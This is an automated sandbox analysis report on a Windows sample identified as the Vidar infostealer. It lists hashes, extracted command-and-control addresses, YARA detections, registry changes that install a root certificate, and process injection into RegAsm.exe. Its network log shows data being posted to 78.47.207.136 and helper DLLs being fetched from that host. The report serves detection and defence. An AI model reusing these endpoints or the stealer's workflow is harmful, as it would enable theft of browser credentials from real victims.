Analysis
-
max time kernel
118s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
16/09/2024, 14:34 UTC
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240903-en
General
-
Target
file.exe
-
Size
283KB
-
MD5
e2cd52e91edffa873b4e1630684ea6c6
-
SHA1
dcbb5971ecb7353062ed294f6d867da2bb179975
-
SHA256
3d9855fcc2f225022896fb91724692a925354adee0985c94e18db195fa7c08e1
-
SHA512
e59f885e6424860e6d0cfebc8e712f1929cbc029e63f49c22c3623af268c2c537089779cf06a1b91d355aac8c6c21aaf66db0044031d09d1fc88d0196fbfe7f6
-
SSDEEP
6144:tFOUZ4uCh3Nc+8iakTqQ7G1fN6bSBvFIIv1vxklTXfRI4EBIGZ5EO:SUSuCj8iHjiNGkFfxxW64EBIGZ5EO
Malware Config
Extracted
vidar
https://t.me/edm0d
https://steamcommunity.com/profiles/76561199768374681
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Signatures
-
Detect Vidar Stealer 10 IoCs
resource yara_rule behavioral1/memory/1692-13-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-11-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-8-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-7-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-6-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-16-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-157-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-193-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-210-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral1/memory/1692-254-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Downloads MZ/PE file
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 588 set thread context of 1692 588 file.exe 31 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 RegAsm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a RegAsm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1692 RegAsm.exe 1692 RegAsm.exe 1692 RegAsm.exe 1692 RegAsm.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31 PID 588 wrote to memory of 1692 588 file.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:588 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1692
-
Network
-
Remote address:8.8.8.8:53Requestt.meIN AResponset.meIN A149.154.167.99
-
Remote address:8.8.8.8:53Requeststeamcommunity.comIN AResponsesteamcommunity.comIN A104.82.234.109
-
Remote address:104.82.234.109:443RequestGET /profiles/76561199768374681 HTTP/1.1
Host: steamcommunity.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Date: Mon, 16 Sep 2024 14:34:18 GMT
Content-Length: 34786
Connection: keep-alive
Set-Cookie: sessionid=76adafa2086df304fe3f94c4; Path=/; Secure; SameSite=None
Set-Cookie: steamCountry=GB%7C0cca5b35055ce513436d8b708d875660; Path=/; Secure; HttpOnly; SameSite=None
-
Remote address:78.47.207.136:443RequestGET / HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:19 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 256
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 332
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 4801
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestGET /sqlp.dll HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:25 GMT
Content-Type: application/octet-stream
Content-Length: 2459136
Connection: keep-alive
Last-Modified: Monday, 16-Sep-2024 14:34:25 GMT
Cache-Control: no-store, no-cache
Accept-Ranges: bytes
-
Remote address:78.47.207.136:443RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----FHCAFIDBKEBFCBFIIIII
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Content-Length: 437
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-
Remote address:78.47.207.136:443RequestGET /freebl3.dll HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Host: 78.47.207.136
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Mon, 16 Sep 2024 14:34:28 GMT
Content-Type: application/octet-stream
Content-Length: 685392
Connection: keep-alive
Last-Modified: Monday, 16-Sep-2024 14:34:28 GMT
Cache-Control: no-store, no-cache
Accept-Ranges: bytes
-
385 B 219 B 5 5
-
347 B 219 B 5 5
-
288 B 219 B 5 5
-
190 B 92 B 4 2
-
1.5kB 42.2kB 24 37
HTTP Request
GET https://steamcommunity.com/profiles/76561199768374681HTTP Response
200 -
1.5kB 2.1kB 10 8
HTTP Request
GET https://78.47.207.136/HTTP Response
200 -
1.3kB 1.1kB 9 8
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
1.3kB 2.3kB 8 8
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
1.4kB 6.5kB 10 11
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
1.3kB 810 B 8 7
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
6.0kB 818 B 12 10
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
48.1kB 2.5MB 1016 1834
HTTP Request
GET https://78.47.207.136/sqlp.dllHTTP Response
200 -
1.4kB 674 B 6 6
HTTP Request
POST https://78.47.207.136/HTTP Response
200 -
11.1kB 496.1kB 228 361
HTTP Request
GET https://78.47.207.136/freebl3.dllHTTP Response
200
MITRE ATT&CK Enterprise v15
Defense Evasion
Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b